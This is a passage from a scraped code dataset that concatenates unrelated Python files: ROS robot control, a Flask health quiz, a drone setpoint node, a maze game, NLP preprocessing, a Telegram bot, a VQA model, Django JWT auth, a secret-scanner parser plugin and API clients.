scene = moveit_commander.PlanningSceneInterface()\n\n group_name = \"Thumb\"\n move_group = moveit_commander.MoveGroupCommander(group_name)\n\n ## Create a `DisplayTrajectory`_ ROS publisher which is used to display\n ## trajectories in Rviz:\n display_trajectory_publisher = rospy.Publisher('/move_group/display_planned_path',\n moveit_msgs.msg.DisplayTrajectory,\n queue_size=20)\n\n \n ## ^^^^^^^^^^^^^^^^^^^^^^^^^\n # We can get the name of the reference frame for this robot:\n planning_frame = move_group.get_planning_frame()\n # print(\"============ Planning frame: %s\" % planning_frame)\n\n # We can also print the name of the end-effector link for this group:\n eef_link = move_group.get_end_effector_link()\n # print(\"============ End effector link: %s\" % eef_link)\n\n # We can get a list of all the groups in the robot:\n group_names = robot.get_group_names()\n # print(\"============ Available Planning Groups:\", robot.get_group_names())\n\n # Sometimes for debugging it is useful to print the entire state of the\n # robot:\n # print(\"============ Printing robot state\")\n # print(robot.get_current_state())\n print(\"\")\n ## END_SUB_TUTORIAL\n\n # Misc variables\n self.box_name = ''\n self.robot = robot\n self.scene = scene\n self.move_group = move_group\n self.display_trajectory_publisher = display_trajectory_publisher\n self.planning_frame = planning_frame\n self.eef_link = eef_link\n self.group_names = group_names\n\n\n def go_to_joint_state(self):\n # Copy class variables to local variables to make the web tutorials more clear.\n # In practice, you should use the class variables directly unless you have a good\n # reason not to.\n move_group = self.move_group\n\n ## BEGIN_SUB_TUTORIAL plan_to_joint_state\n ##\n ## Planning to a Joint Goal\n ## ^^^^^^^^^^^^^^^^^^^^^^^^\n ## The Panda's zero configuration is at a `singularity `_ so the first\n ## thing we want to do is move it to a slightly better configuration.\n # We can get the joint values from the group and adjust some of the values:\n joint_goal = move_group.get_current_joint_values()\n joint_goal[0] = 0\n joint_goal[1] = 0\n \n \n\n # The go command can be called with joint values, poses, or without any\n # parameters if you have already set the pose or joint target for the group\n move_group.go(joint_goal, wait=True)\n\n # Calling ``stop()`` ensures that there is no residual movement\n move_group.stop()\n\n ## END_SUB_TUTORIAL\n\n # For testing:\n current_joints = move_group.get_current_joint_values()\n return all_close(joint_goal, current_joints, 0.01)\n\n\n \n\n def wait_for_state_update(self, box_is_known=False, box_is_attached=False, timeout=4):\n # Copy class variables to local variables to make the web tutorials more clear.\n # In practice, you should use the class variables directly unless you have a good\n # reason not to.\n box_name = self.box_name\n scene = self.scene\n\n ## BEGIN_SUB_TUTORIAL wait_for_scene_update\n ##\n ## Ensuring Collision Updates Are Receieved\n ## ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n ## If the Python node dies before publishing a collision object update message, the message\n ## could get lost and the box will not appear. To ensure that the updates are\n ## made, we wait until we see the changes reflected in the\n ## ``get_attached_objects()`` and ``get_known_object_names()`` lists.\n ## For the purpose of this tutorial, we call this function after adding,\n ## removing, attaching or detaching an object in the planning scene. We then wait\n ## until the updates have been made or ``timeout`` seconds have passed\n start = rospy.get_time()\n seconds = rospy.get_time()\n while (seconds - start < timeout) and not rospy.is_shutdown():\n # Test if the box is in attached objects\n attached_objects = scene.get_attached_objects([box_name])\n is_attached = len(attached_objects.keys()) > 0\n\n # Test if the box is in the scene.\n # Note that attaching the box will remove it from known_objects\n is_known = box_name in scene.get_known_object_names()\n\n # Test if we are in the expected state\n if (box_is_attached == is_attached) and (box_is_known == is_known):\n return True\n\n # Sleep so that we give other threads time on the processor\n rospy.sleep(0.1)\n seconds = rospy.get_time()\n\n # If we exited the while loop without returning then we timed out\n return False\n ## END_SUB_TUTORIAL\n\n\n \n\ndef main():\n try:\n \n raw_input()\n tutorial = MoveGroupPythonIntefaceTutorial()\n\n print(\"============ Press `Enter` to execute a movement using a joint state goal for Thumb Group ...\")\n raw_input()\n tutorial.go_to_joint_state()\n\n # print(\"============ Ros direct kinematics demo complete!\")\n except rospy.ROSInterruptException:\n return\n except KeyboardInterrupt:\n return\n\nif __name__ == '__main__':\n main()\n\n## BEGIN_TUTORIAL\n## .. _moveit_commander:\n## http://docs.ros.org/melodic/api/moveit_commander/html/namespacemoveit__commander.html\n##\n## .. _MoveGroupCommander:\n## http://docs.ros.org/melodic/api/moveit_commander/html/classmoveit__commander_1_1move__group_1_1MoveGroupCommander.html\n##\n## .. _RobotCommander:\n## http://docs.ros.org/melodic/api/moveit_commander/html/classmoveit__commander_1_1robot_1_1RobotCommander.html\n##\n## .. _PlanningSceneInterface:\n## http://docs.ros.org/melodic/api/moveit_commander/html/classmoveit__commander_1_1planning__scene__interface_1_1PlanningSceneInterface.html\n##\n## .. _DisplayTrajectory:\n## http://docs.ros.org/melodic/api/moveit_msgs/html/msg/DisplayTrajectory.html\n##\n## .. _RobotTrajectory:\n## http://docs.ros.org/melodic/api/moveit_msgs/html/msg/RobotTrajectory.html\n##\n## .. _rospy:\n## http://docs.ros.org/melodic/api/rospy/html/\n## CALL_SUB_TUTORIAL imports\n## CALL_SUB_TUTORIAL setup\n## CALL_SUB_TUTORIAL basic_info\n## CALL_SUB_TUTORIAL plan_to_joint_state\n## CALL_SUB_TUTORIAL plan_to_pose\n## CALL_SUB_TUTORIAL plan_cartesian_path\n## CALL_SUB_TUTORIAL display_trajectory\n## CALL_SUB_TUTORIAL execute_plan\n## CALL_SUB_TUTORIAL add_box\n## CALL_SUB_TUTORIAL wait_for_scene_update\n## CALL_SUB_TUTORIAL attach_object\n## CALL_SUB_TUTORIAL detach_object\n## CALL_SUB_TUTORIAL remove_object\n## END_TUTORIAL","sub_path":"udm_hand_control_annex/scripts/move_group_thumb_interface.py","file_name":"move_group_thumb_interface.py","file_ext":"py","file_size_in_byte":8294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"636704349","text":"from flask import Flask, render_template,request,redirect,url_for\n\n\napp = Flask(__name__)\n\n\n@app.route(\"/\", methods=[\"GET\",\"POST\"])\ndef index():\n return render_template(\"index.html\")\n\n@app.route(\"/healthcheck\", methods=[\"GET\",\"POST\"])\ndef healthcheck():\n return render_template(\"healthcheck.html\")\n\n@app.route(\"/result\", methods=[\"GET\",\"POST\"])\ndef result():\n if request.method == \"POST\":\n\n usertemp = float(request.form.get('usertemp'))\n userper = usertemp\n conditions = ['sneeze','cough','fatigue','breath','friend','crowded','large','overseas']\n for condition in conditions:\n val = request.form.get('cough')\n if val is not None:\n userper *= float(val)\n userper = int(round(userper))\n if float(usertemp) > 37.5:\n return render_template(\"failresult.html\", percentage=userper)\n else:\n return render_template(\"result.html\", percentage=userper)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"23737880","text":"import rospy\n\nfrom mavros_msgs.msg import PositionTarget\nfrom geometry_msgs.msg import PoseStamped, Point\n\nfrom arion.offboard import OffboardControl\nfrom arion.subscriber.point_subscriber import PointSubscriber\nfrom arion.subscriber.position_subscriber import CurrentPositionSubscriber\n\nclass PositionControlRawNode(OffboardControl, CurrentPositionSubscriber, PointSubscriber):\n\n LOITER = 12288\n def __init__(self):\n topic_in = rospy.get_param('~raw_point_topic', '/arion/raw_point')\n self.rate = rospy.get_param('~raw_point_rate', 20)\n self.message_pub = rospy.Publisher('mavros/setpoint_raw/local', PositionTarget, queue_size=10)\n self.target_position = PositionTarget()\n self.seq = 1\n self.start_point(topic_in)\n self.start_offboard()\n self.start_current_position()\n self.smooth_factor = 0.9\n self.mask = PositionControlRawNode.LOITER\n\n def publish_position_message(self):\n self.target_position.header.stamp = rospy.Time.now()\n self.target_position.header.seq = self.seq\n self.target_position.header.frame_id = \"enu_world\"\n self.target_position.coordinate_frame = PositionTarget.FRAME_LOCAL_NED\n self.target_position.position.x = self.p.x\n self.target_position.position.y = self.p.y\n self.target_position.position.z = self.p.z\n self.target_position.type_mask = self.mask\n self.target_position.yaw = 0\n self.target_position.yaw_rate = 1\n self.message_pub.publish(self.target_position)\n self.seq = self.seq + 1\n\n def warm_position(self, rate):\n for i in range(100):\n p = self.current_position.pose.position\n self.smooth_point(p.x, p.y, p.z, self.smooth_factor)\n self.publish_position_message()\n rate.sleep()\n \n def run(self):\n rospy.init_node('control_arion', anonymous=True, log_level= rospy.INFO)\n r = rospy.Rate(self.rate)\n self.warm_position(r)\n self.take_control(self.publish_position_message)\n while not rospy.is_shutdown():\n self.publish_position_message()\n r.sleep()\n self.release_control()\n","sub_path":"src/arion/node/position_control_raw_node.py","file_name":"position_control_raw_node.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"105476150","text":"import pygame\nfrom pygame.locals import *\n# Contoller imports\nfrom controllers.player_controller import PlayerController\nfrom controllers.maze_controller import MazeController \nfrom controllers.end_controller import EndController\n# Model imports\nfrom models.score import Score\n\n# -- CONTROLLER --\n\"\"\"\nGame Controller is the master Controller of the game. It creates an instance of the MazeController\nand the PlayerController and controls how the Maze and Player interact\n\"\"\"\nclass GameController:\n \n def __init__(self):\n \"\"\"\n Initialize an instance of GameController\n \"\"\"\n self._window = None\n self._image = None\n self._block = None\n self._font = None\n # The maze is a graph of 'Tiles' each tile is 50pixels by 50pixels\n self.TILE_WIDTH = 50\n self.TILE_HEIGHT = 50\n \n self._score = Score()\n \n self.maze = MazeController(self.TILE_WIDTH, self.TILE_HEIGHT)\n \n # Player Conroller controls the actions of the player and has an instance of the player model\n self.player_controller = PlayerController(self.maze, self.TILE_WIDTH, self.TILE_HEIGHT)\n # shortcut to access the player model from the player control. This holds player properties\n self.player = self.player_controller.get_player()\n \n #NOTE: Calculated dimensions of the game (example tile size 50 pixels, and the map is 10 tiles wide then 10*50)\n self.__WIDTH = self.TILE_WIDTH * len(self.maze.cells[0])\n self.__HEIGHT = self.TILE_HEIGHT * len(self.maze.cells)\n\n def get_game_dimensions(self):\n return (self.__WIDTH, self.__HEIGHT)\n \n def get_tile_dimensions(self):\n return (self.TILE_WIDTH, self.TILE_HEIGHT)\n \n def set_player_name(self, name):\n \"\"\"Set the players name, if this is never called players will be called \"GUEST\"\n\n Args:\n name (string): The name of the player\n \"\"\"\n self._score.set_name(name)\n \n def keypress(self):\n keypress = pygame.key.get_pressed()\n if keypress[K_UP]:\n self.player_controller.move('UP')\n elif keypress[K_DOWN]:\n self.player_controller.move('DOWN')\n elif keypress[K_LEFT]:\n self.player_controller.move('LEFT')\n elif keypress[K_RIGHT]:\n self.player_controller.move('RIGHT')\n \n def game_over(self):\n \"\"\"Return True if the player has collected all coins and reached the end\n\n Returns:\n bool: True if game over, False if game in progress\n \"\"\"\n return self.player_controller.end\n \n def end_game(self, seconds_till_fail):\n \"\"\"Ends the game buy starting the End Controller\n \"\"\"\n self._score.end_timer() # calculate score\n if self.player._backpack != 4 or self.get_time() > seconds_till_fail: #arbitrary\n self._score.set_score(1000) # overwrite score with default score if backpack isnt full\n end_contoller = EndController(self._score)\n end_contoller.loop()\n exit()\n \n def get_time(self):\n \"\"\"Return how long the game has been running in milliseconds\n\n Returns:\n float: time game has been running in milliseconds\n \"\"\" \n return (pygame.time.get_ticks()/1000) - self._score.get_start_time()\n \n def display_timer(self, window, font):\n text = \"Timer: {}s\".format(str(round(self.get_time(),1))) # round to 1 decimal point\n colour = (0, 255, 0)\n text_surface = font.render(text, True, colour)\n text_rect = text_surface.get_rect()\n text_rect.center = (75, 25)\n return (text_surface, text_rect)\n \n def display_backpack(self, window, font):\n # scale the coin image to be smaller\n small_coin_image = pygame.transform.scale(self.maze.coin_image, (20, 20))\n # display the text beside the coin showing the num of items in backpack\n text = \"x {}\".format(str(self.player._backpack))\n # green\n colour = (0, 255, 0)\n # creating the surface and location to render the text\n text_surface = font.render(text, True, colour)\n text_rect = text_surface.get_rect()\n text_rect.center = (75, 50)\n # pass info so game_view has everything it needs to render\n return (text_surface, text_rect, small_coin_image)","sub_path":"Maze/controllers/game_controller.py","file_name":"game_controller.py","file_ext":"py","file_size_in_byte":4387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"437296972","text":"import conllu\nimport re\n\n\nallowed_char_re = re.compile(r'[^a-zA-Zа-яА-Я.,?!ёЁ\"]')\nis_russian_word = re.compile(r'[а-яА-ЯёЁ]+')\nis_english_word = re.compile(r'[a-zA-Z]+')\n\n\nclass Preprocessor:\n\n def __init__(self, lang: str):\n if lang == 'rus':\n self.word_checking_re = is_russian_word\n elif lang == 'eng':\n self.word_checking_re = is_english_word\n else:\n raise ValueError(f\"Language {lang} is not supported!\")\n\n def get_dataset_from_file(self, data_path, window_size):\n with open(data_path, 'r') as f:\n raw_dataset = f.read()\n sentences = conllu.parse(raw_dataset)\n dataset = self.get_dataset(sentences, window_size)\n return dataset\n\n def get_dataset(self, sentences, window_size):\n dataset = []\n for sentence in sentences:\n text, lemmas = self.prepare_sentence(sentence)\n for lemma in lemmas:\n target, contexts = self.get_training_samples(text, lemma, window_size)\n dataset.append({\n \"input\": contexts[0] + target + contexts[1],\n \"target\": list(lemma[\"lemma\"])\n })\n return dataset\n\n @staticmethod\n def preprocess(text):\n text = allowed_char_re.sub(' ', text)\n text = re.sub(' +', ' ', text)\n return text\n\n def is_fits_language(self, text):\n return self.word_checking_re.fullmatch(text)\n\n def prepare_sentence(self, sentence_tokens):\n text = ''\n cur_pointer = 0\n lemmas = []\n for s in sentence_tokens:\n if self.is_fits_language(s['form']):\n lemmas.append(\n {\n \"form\": s['form'],\n \"lemma\": s['lemma'],\n \"start_idx\": cur_pointer,\n \"end_idx\": cur_pointer + len(s['form'])\n }\n )\n if s['misc'] is not None and s['misc']['SpaceAfter'] == 'No':\n cur_pointer += len(s['form'])\n text += s['form']\n else:\n cur_pointer += len(s['form']) + 1\n text += s['form'] + ' '\n\n text = text.strip(' ')\n return text, lemmas\n\n @staticmethod\n def get_training_samples(text, lemma, window_size):\n chars = list(text)\n target_word = lemma['form']\n\n left_border = max(0, lemma['start_idx'] - window_size)\n left_context = chars[left_border:lemma['start_idx']]\n\n right_border = min(len(text), lemma['end_idx'] + window_size)\n right_context = chars[lemma['end_idx']:right_border]\n\n target = [''] + list(target_word) + ['']\n return target, (left_context, right_context)\n","sub_path":"src/lematus/data_utils/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"7218546","text":"import redis\nimport json \nimport time\nimport os\nimport telebot\nimport jinja2\n\nrds = redis.from_url(os.environ.get(\"REDIS_URL\",\"redis://localhost:6379\"))\nkey = \"user:0:users\"\nbot = telebot.TeleBot(os.environ.get(\"BOT_TOKEN\",\"\"))\n\nusers = rds.get(key)\nif type(users) is bytes: users = users.decode('utf-8')\nif users: users = json.loads(users)\nusers = users or []\n\n\nSHEDULE_MESSAGE = jinja2.Template(\"*Расписание на сегодня* 📆 \\n\\n{% for event in shedule %}*{{event.time}}*\\n\\t{% if event.type == 1 %}☑️ _{% elif event.type>1%}✅* {% else %}◻️ {% endif %}{{event.title}}{% if event.type == 1 %}_{% elif event.type>1%}*{% endif %}\\n\\n{% endfor %}\")\ncur_date = time.strftime(\"%d.%m.%Y\")\nshedule = base.get_day_shedule(bot, cur_date)\n\nif shedule: reply_message = SHEDULE_MESSAGE.render(shedule=shedule)\nelse: reply_message = bot.const[\"shedule-is-empty\"]\n\nfor user in users:\n\tbot.send_message(message.u_id, user[\"id\"], parse_mode=\"Markdown\")\n","sub_path":"scripts/morning_shedule.py","file_name":"morning_shedule.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"244814633","text":"import torch\nimport torch.nn as nn\nimport torchvision.models as models\nimport torch.nn.functional as F\n\n\nclass ImgEncoder(nn.Module):\n\n def __init__(self, embed_dim):\n\n super(ImgEncoder, self).__init__()\n self.model = models.vgg19(pretrained=True)\n in_features = self.model.classifier[-1].in_features\n self.model.classifier = nn.Sequential(*list(self.model.classifier.children())[:-1]) # remove vgg19 last layer\n self.fc = nn.Linear(in_features, embed_dim)\n\n def forward(self, image):\n\n with torch.no_grad():\n img_feature = self.model(image) # (batch, channel, height, width)\n img_feature = self.fc(img_feature)\n\n l2_norm = F.normalize(img_feature, p=2, dim=1).detach()\n return l2_norm\n\nclass QuEncoder(nn.Module):\n\n def __init__(self, qu_vocab_size, word_embed, hidden_size, num_hidden, qu_feature_size):\n\n super(QuEncoder, self).__init__()\n self.word_embedding = nn.Embedding(qu_vocab_size, word_embed)\n self.tanh = nn.Tanh()\n self.lstm = nn.LSTM(word_embed, hidden_size, num_hidden) # input_feature, hidden_feature, num_layer\n self.fc = nn.Linear(2*num_hidden*hidden_size, qu_feature_size)\n\n def forward(self, question):\n\n qu_embedding = self.word_embedding(question) # (batchsize, qu_length=30, word_embed=300)\n qu_embedding = self.tanh(qu_embedding)\n qu_embedding = qu_embedding.transpose(0, 1) # (qu_length=30, batchsize, word_embed=300)\n _, (hidden, cell) = self.lstm(qu_embedding) # (num_layer=2, batchsize, hidden_size=1024)\n qu_feature = torch.cat((hidden, cell), dim=2) # (num_layer=2, batchsize, 2*hidden_size=1024)\n qu_feature = qu_feature.transpose(0, 1) # (batchsize, num_layer=2, 2*hidden_size=1024)\n qu_feature = qu_feature.reshape(qu_feature.size()[0], -1) # (batchsize, 2*num_layer*hidden_size=2048)\n qu_feature = self.tanh(qu_feature)\n qu_feature = self.fc(qu_feature) # (batchsize, qu_feature_size=1024)\n\n return qu_feature\n\nclass VQAModel(nn.Module):\n\n def __init__(self, feature_size, qu_vocab_size, ans_vocab_size, word_embed, hidden_size, num_hidden):\n\n super(VQAModel, self).__init__()\n self.img_encoder = ImgEncoder(feature_size)\n self.qu_encoder = QuEncoder(qu_vocab_size, word_embed, hidden_size, num_hidden, feature_size)\n self.dropout = nn.Dropout(0.5)\n self.tanh = nn.Tanh()\n self.fc1 = nn.Linear(feature_size, ans_vocab_size)\n self.fc2 = nn.Linear(ans_vocab_size, ans_vocab_size)\n\n def forward(self, image, question):\n\n img_feature = self.img_encoder(image) # (batchsize, feature_size=1024)\n qst_feature = self.qu_encoder(question)\n combined_feature = img_feature * qst_feature\n combined_feature = self.dropout(combined_feature)\n combined_feature = self.tanh(combined_feature)\n combined_feature = self.fc1(combined_feature) # (batchsize, ans_vocab_size=1000)\n combined_feature = self.dropout(combined_feature)\n combined_feature = self.tanh(combined_feature)\n logits = self.fc2(combined_feature) # (batchsize, ans_vocab_size=1000)\n\n return logits\n","sub_path":"model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"456294110","text":"from tkinter import *\nfrom tkinter import ttk\nroot = Tk()\nlogo=PhotoImage(file=\"kct-logo.png\")\n\nbtn = ttk.Button(root, text=\"Proceed\")\nbtn.pack()\ndef proceed():\n print(\"clicked!\")\nbtn.config(command=proceed)\nlabel=ttk.Label(root,text=\"Welcome!!\")\nlabel.pack()\nbtn.config(image=logo,compound=LEFT)\nsmall_logo=logo.subsample(5,5)\nbtn.config(image=small_logo)\n\n\n","sub_path":"03tcltk_introwidgets.py","file_name":"03tcltk_introwidgets.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"60061849","text":"import secrets\n\nimport jwt\nfrom django.conf import settings\nfrom django.contrib.auth.base_user import AbstractBaseUser\nfrom django.db import models\n\nfrom webpos_common.models import BaseModel\nfrom webpos_common.utils import get_now\n\n\nclass Account(BaseModel, AbstractBaseUser):\n USERNAME_FIELD = \"email\"\n\n name = models.CharField('이름', max_length=40)\n email = models.CharField('이메일', max_length=128, unique=True)\n\n def __str__(self):\n return f\"{self.name} <{self.email}>\"\n\n\nclass AccessToken:\n EXPIRE_TIME = {'hours': 1}\n ALGORITHM = \"HS256\"\n\n def __init__(self, account:Account=None, value:str=None):\n if account:\n self.email = account.email\n\n if value:\n self.value = value\n\n def create_token(self):\n now = get_now()\n self.issued_at = now\n self.expire_at = now.add(**AccessToken.EXPIRE_TIME)\n\n payload = {\n 'email': self.email,\n 'iat': self.issued_at,\n 'exp': self.expire_at\n }\n self.value = jwt.encode(payload=payload, key=settings.SECRET_KEY, algorithm=self.ALGORITHM)\n return self.value\n\n def decrypt_token(self):\n payload = jwt.decode(self.value, settings.SECRET_KEY, algorithms=[self.ALGORITHM,])\n self.email = payload['email']\n self.issued_at = payload['iat']\n self.expire_at = payload['exp']\n return payload\n\n\nclass RefreshToken(models.Model):\n EXPIRE_TIME = {'years': 1}\n value = models.CharField(max_length=43)\n issued_at = models.DateTimeField(auto_now_add=True)\n expire_at = models.DateTimeField(null=True)\n account = models.ForeignKey(Account, on_delete=models.DO_NOTHING)\n\n def generate(self):\n self.value = self.generate_refresh_token()\n self.expire_at = get_now().add(**self.EXPIRE_TIME)\n self.save()\n\n def generate_refresh_token(self):\n return secrets.token_urlsafe(32)\n\n @property\n def is_expired(self):\n return self.expire_at < get_now()\n","sub_path":"webpos_account/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"430116876","text":"from tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import Dense, Activation, Dropout, Input,\\\n TimeDistributed, Conv1D\nfrom tensorflow.keras.layers import GRU, BatchNormalization\n\n\ndef create_model(input_shape):\n \"\"\"\n Function creating the model's graph in Keras.\n\n Argument:\n input_shape -- shape of the model's input data (using Keras conventions)\n\n Returns:\n model -- Keras model instance\n \"\"\"\n\n X_input = Input(shape=input_shape)\n\n # Step 1: CONV layer (≈4 lines)\n X = Conv1D(196, kernel_size=15, strides=4)(\n X_input) # CONV1D\n # Batch normalization\n X = BatchNormalization()(X)\n X = Activation('relu')(X) # ReLu activation\n X = Dropout(0.8)(X) # dropout (use 0.8)\n\n # Step 2: First GRU Layer (≈4 lines)\n # GRU (use 128 units and return the sequences)\n X = GRU(units=128, return_sequences=True)(X)\n X = Dropout(0.8)(X) # dropout (use 0.8)\n # Batch normalization\n X = BatchNormalization()(X)\n\n # Step 3: Second GRU Layer (≈4 lines)\n # GRU (use 128 units and return the sequences)\n X = GRU(units=128, return_sequences=True)(X)\n X = Dropout(0.8)(X) # dropout (use 0.8)\n # Batch normalization\n X = BatchNormalization()(X)\n X = Dropout(0.8)(X) # dropout (use 0.8)\n\n # Step 4: Time-distributed dense layer (≈1 line)\n X = TimeDistributed(Dense(1, activation=\"sigmoid\"))(\n X) # time distributed (sigmoid)\n\n model = Model(inputs=X_input, outputs=X)\n\n return model\n","sub_path":"utils/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"24377559","text":"from pathlib import Path\n\nfrom whispers.utils import string_is_function, string_is_quoted, strip_string\n\n\nclass Java:\n def pairs(self, filepath: Path):\n for line in filepath.open(\"r\").readlines():\n if line.count(\"=\") == 1:\n yield from self.parse_assignment(line)\n\n def parse_assignment(self, line: str):\n key, value = line.split(\"=\")\n key = strip_string(key).split(\" \")[-1]\n value = value.replace(\";\", \"\").strip()\n if string_is_quoted(value) and not string_is_function(value):\n yield key, value\n","sub_path":"whispers/plugins/java.py","file_name":"java.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"404680503","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nimport matplotlib.patches as patches\nfrom mpl_toolkits.mplot3d import Axes3D\nimport sys \n\nN=int(sys.argv[1])\nL=float(sys.argv[2])\n\n#N=4\n#L=30.0\n\nx,y,z=np.loadtxt(\"positions.dat\",usecols=(0,1,2),unpack=True)\n\nnsteps=len(x)/N\nnsteps=int(nsteps)\n\nxti=np.zeros((N,nsteps))\nyti=np.zeros((N,nsteps))\nzti=np.zeros((N,nsteps))\n\n#complexity n^2\nfor i in range(N):\n for t in range(nsteps):\n s=N*t+i\n xti[i][t]=x[s]\n yti[i][t]=y[s]\n zti[i][t]=z[s]\n\n\n#print(x)\n\n#print(xti)\n\n\nfig = plt.figure()\nax = Axes3D(fig)\n\ndef animate(t):\n ax.clear()\n ax.set_xlim(-L/2.0,L/2.0)\n ax.set_ylim(-L/2.0,L/2.0)\n ax.set_zlim(-L/2.0,L/2.0)\n\n for i in range(N):\n xp=xti[i][t]\n yp=yti[i][t]\n zp=zti[i][t]\n ax.scatter(xp,yp,zp)\n# patch=patches.Circle((xp,yp), 0.01, color='blue')\n# ax.add_patch(patch)\n\nanim=animation.FuncAnimation(fig,animate,nsteps,interval=1, blit=False)\n\nplt.show()\n\n\n#anim.save('md_test_1.MP4', writer='imagemagick', fps=20)\n","sub_path":"animation.py","file_name":"animation.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"281895097","text":"import json, urllib, urllib2\nfrom urlparse import urlparse\nfrom collections import OrderedDict\n\neuropeana_api = \"http://europeana.eu/api/v2\"\nwskey = \"hb8sGDBPe\"\n\ndef artworkData(item):\n if \"url\" in item:\n url = item[\"url\"]\n print(\"europeana record: \"+url)\n ids = europeanaId(url)\n if ids:\n data = getEuropeana(ids)\n if data and \"object\" in data:\n return europeanaItem(item, data)\n\n\ndef getEuropeana(ids):\n params = {\n \"profile\":\"rich\",\n \"wskey\":wskey\n }\n request = urllib2.Request(europeana_api + '/record/'+ids[0]+'/'+ids[1]+'.json' + '?' + urllib.urlencode(params))\n response = urllib2.urlopen(request)\n results = json.load(response)\n return results \n\ndef europeanaId(url):\n path = urlparse(url).path\n if path.find(\"portal/record\") >= 0:\n splitted = path.split('/')\n if len(splitted) > 3:\n id0 = splitted[3]\n id1 = splitted[4].split('.')[0]\n return [id0,id1]\n\ndef europeanaItem(seed, data):\n aggregation = data[\"object\"][\"europeanaAggregation\"]\n proxy = {}\n for p in reversed(data[\"object\"][\"proxies\"]):\n for k,v in p.iteritems():\n proxy[k] = v\n\n item = {\n \"url\": aggregation[\"edmLandingPage\"],\n \"attributes\": {}\n }\n\n if \"edmPreview\" in aggregation:\n item[\"image\"] = aggregation[\"edmPreview\"]\n\n #if \"label\" in seed:\n # item[\"title\"] = seed[\"label\"]\n if europeanaKeyValue(\"dcTitle\",proxy):\n item[\"title\"] = europeanaKeyValue(\"dcTitle\", proxy)[0]\n\n if europeanaKeyValue(\"dcDescription\", proxy):\n item[\"description\"] = europeanaKeyValue(\"dcDescription\", proxy)[0]\n\n if europeanaKeyValue(\"dcSource\", proxy):\n item[\"source\"] = europeanaKeyValue(\"dcSource\", proxy)[0]\n elif europeanaKeyValue(\"dcPublisher\", proxy):\n item[\"source\"] = europeanaKeyValue(\"dcPublisher\", proxy)[0]\n\n for key,value in proxy.iteritems():\n if not( key in ['dcTitle','dcSource','dcPublisher','dcDescription','dctermsProvenance','dcIdentifier','dcLanguage'] ):\n if not(\"dcterms\" in key):\n if europeanaValue(value):\n if \"dc\" in key:\n key = key[2:]\n values = list(OrderedDict.fromkeys(europeanaValue(value)))\n item[\"attributes\"][key] = values\n\n print(item)\n\n return item\n\n\ndef europeanaKeyValue(key, source):\n if key in source:\n return europeanaValue(source[key])\n\ndef europeanaValue(v):\n if v and isinstance(v, dict):\n if \"nl\" in v:\n return v[\"nl\"]\n elif \"def\" in v:\n return v[\"def\"]\n elif \"en\" in v:\n return v[\"en\"]\n\n\n#artworkData(\"http://www.europeana.eu/portal/record/2021608/dispatcher_aspx_action_search_database_ChoiceCollect_search_priref_10581.html\")","sub_path":"lvartwork.py","file_name":"lvartwork.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"243222814","text":"from django.urls import path\nfrom django.views.generic import TemplateView\n\n\nfrom .views import (\n RegistrationAPIView,\n LoginAPIView,\n UserActivationAPIView)\n\napp_name = \"authentication\"\n\nurlpatterns = [\n path('users/register', RegistrationAPIView.as_view(),\n name='user_signup'),\n path('users/login', LoginAPIView.as_view(),\n name='user_login'),\n path('auth/', UserActivationAPIView.as_view(),\n name='activate_user'),\n path('users/verified', TemplateView.as_view(\n template_name='account_verified.html'))\n]\n","sub_path":"leavemanagementsystem/leavemanagementsystem/apps/authentication/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"407068296","text":"import requests\nimport json\nimport argparse\n\nfile = open(\"config.json\", \"r\")\ndata = json.load(file)\nfile.close()\n\nUSER_ID = data['USER_ID']\nAPI_TOKEN = data['API_TOKEN']\nAPI_ROOT = data['API_ROOT']\nAUTH = (USER_ID, API_TOKEN)\n\ndef websites_update():\n\n endpoint_url = API_ROOT % \"websites/update\"\n parser = argparse.ArgumentParser(description='Updates a website.')\n parser.add_argument('-p', '-protocol', type=str, choices = ['Http', 'Https'], help='Gets or sets the default protocol')\n parser.add_argument('-am', '-agentmode', type=str, choices=['Cloud', 'Internal'], default=\"Cloud\", help='Gets or sets the agent mode for the website')\n parser.add_argument('-ru', '-rooturl', type=str, help='Gets or sets the root URL', required=True)\n parser.add_argument('-wg', '-groups', type=str, nargs='*', help='Gets or sets the name of groups this website will belong to')\n parser.add_argument('-lt', '-license', type=str, choices=['Subscription', 'Credit'], help='Gets or sets the type of the 